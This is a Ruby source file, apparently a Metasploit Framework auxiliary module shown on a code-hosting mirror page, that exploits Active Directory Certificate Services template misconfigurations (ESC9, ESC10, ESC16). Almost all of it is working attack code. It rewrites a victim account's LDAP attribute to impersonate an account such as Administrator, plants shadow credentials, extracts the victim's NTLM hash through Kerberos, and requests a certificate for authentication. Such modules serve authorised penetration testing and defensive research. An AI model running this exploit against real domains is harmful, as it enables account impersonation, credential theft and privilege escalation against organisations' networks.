Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
21089 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'ruby_smb/dcerpc/client'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::LDAP
10
include Msf::Exploit::Remote::MsIcpr
11
include Msf::Exploit::Remote::SMB::Client::Authenticated
12
include Msf::Exploit::Remote::DCERPC
13
include Msf::Auxiliary::Report
14
include Msf::OptionalSession::SMB
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',
21
'Description' => %q{
22
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
23
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
24
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
25
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
26
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
27
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
28
29
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
30
reverted after execution to maintain system integrity.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Will Schroeder', # original idea/research
35
'Lee Christensen', # original idea/research
36
'Oliver Lyak', # certipy implementation
37
'Spencer McIntyre', # icpr_cert module implementation
38
'jheysel-r7' # module implementation
39
],
40
'References' => [
41
[ 'URL', 'https://github.com/GhostPack/Certify' ],
42
[ 'URL', 'https://github.com/ly4k/Certipy' ],
43
[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],
44
[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ]
45
],
46
'Notes' => {
47
'Reliability' => [],
48
'Stability' => [],
49
'SideEffects' => [ IOC_IN_LOGS ],
50
'AKA' => [ 'ESC9', 'ESC10', 'ESC16']
51
},
52
'Actions' => [
53
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
54
],
55
'DefaultAction' => 'REQUEST_CERT'
56
)
57
)
58
59
deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')
60
61
register_options([
62
OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),
63
OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),
64
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
65
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
66
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
67
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
68
])
69
70
register_advanced_options(
71
[
72
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
73
OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),
74
]
75
)
76
end
77
78
# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation
79
def valid_fqdn?(str)
80
str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/
81
end
82
83
def validate_options
84
if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
85
fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")
86
end
87
end
88
89
def run
90
validate_options
91
send("action_#{action.name.downcase}")
92
rescue MsIcprConnectionError, SmbIpcConnectionError => e
93
fail_with(Failure::Unreachable, e.message)
94
rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
95
fail_with(Failure::NoAccess, e.message)
96
rescue MsIcprNotFoundError => e
97
fail_with(Failure::NotFound, e.message)
98
rescue MsIcprUnexpectedReplyError => e
99
fail_with(Failure::UnexpectedReply, e.message)
100
rescue MsIcprUnknownError => e
101
fail_with(Failure::Unknown, e.message)
102
end
103
104
def call_ldap_object_module(action, value = nil)
105
mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'
106
107
print_status("Loading #{mod_refname}")
108
ldap_update_module = framework.modules.create(mod_refname)
109
110
unless ldap_update_module
111
print_error("Failed to load module: #{mod_refname}")
112
return
113
end
114
115
# Default to using the SMB credentials if LDAP credentials are not provided
116
ldap_update_module = framework.modules.create(mod_refname)
117
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
118
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
119
ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']
120
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
121
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
122
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
123
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
124
ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
125
ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
126
ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'
127
ldap_update_module.datastore['VALUE'] = value
128
ldap_update_module.datastore['ACTION'] = action
129
130
print_status("Running #{mod_refname}")
131
ldap_update_module.run_simple(
132
'LocalInput' => user_input,
133
'LocalOutput' => user_output,
134
'RunAsJob' => false
135
)
136
end
137
138
def call_shadow_credentials_module(action, device_id = nil)
139
mod_refname = 'admin/ldap/shadow_credentials'
140
141
print_status("Loading #{mod_refname}")
142
ldap_update_module = framework.modules.create(mod_refname)
143
144
unless ldap_update_module
145
print_error("Failed to load module: #{mod_refname}")
146
return
147
end
148
149
# Default to using the SMB credentials if LDAP credentials are not provided
150
ldap_update_module = framework.modules.create(mod_refname)
151
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
152
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
153
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
154
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
155
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
156
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
157
ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']
158
ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?
159
ldap_update_module.datastore['ACTION'] = action
160
161
print_status("Running #{mod_refname}")
162
ldap_update_module.run_simple(
163
'LocalInput' => user_input,
164
'LocalOutput' => user_output,
165
'RunAsJob' => false
166
)
167
end
168
169
def automate_get_hash(cert_path, username, domain, rhosts)
170
mod_refname = 'admin/kerberos/get_ticket'
171
172
print_status("Loading #{mod_refname}")
173
get_ticket_module = framework.modules.create(mod_refname)
174
175
unless get_ticket_module
176
print_error("Failed to load module: #{mod_refname}")
177
return
178
end
179
180
print_status("Getting hash for #{username}")
181
get_ticket_module.datastore['CERT_FILE'] = cert_path
182
get_ticket_module.datastore['USERNAME'] = username
183
get_ticket_module.datastore['DOMAIN'] = domain
184
get_ticket_module.datastore['RHOSTS'] = rhosts
185
get_ticket_module.datastore['RPORT'] = 88
186
get_ticket_module.datastore['ACTION'] = 'GET_HASH'
187
188
res = get_ticket_module.run_simple(
189
'LocalInput' => user_input,
190
'LocalOutput' => user_output,
191
'RunAsJob' => false
192
)
193
fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res
194
res
195
end
196
197
def action_request_cert
198
new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']
199
# Get the original while updating (the update action returns the original value upon success)
200
@original_value = call_ldap_object_module('UPDATE', new_value)
201
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
202
203
# Call the shadow credentials module to add the device and get the cert path
204
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
205
@device_id, cert_path = call_shadow_credentials_module('add')
206
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
207
with_ipc_tree do |opts|
208
datastore['SMBUser'] = datastore['TARGET_USERNAME']
209
datastore['SMBPass'] = hash
210
request_certificate(opts)
211
end
212
ensure
213
print_status('Removing shadow credential')
214
call_shadow_credentials_module('remove', device_id: @device_id)
215
print_status('Reverting ldap object')
216
revert_ldap_object
217
end
218
219
def revert_ldap_object
220
# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
221
# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.
222
if @original_value.to_s.empty?
223
call_ldap_object_module('DELETE')
224
else
225
call_ldap_object_module('UPDATE', @original_value)
226
end
227
end
228
229
# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
230
# @return [void]
231
def with_ipc_tree
232
opts = {}
233
if session
234
print_status("Using existing session #{session.sid}")
235
self.simple = session.simple_client
236
opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
237
end
238
239
yield opts
240
ensure
241
opts[:tree].disconnect! if opts[:tree]
242
end
243
end
244
245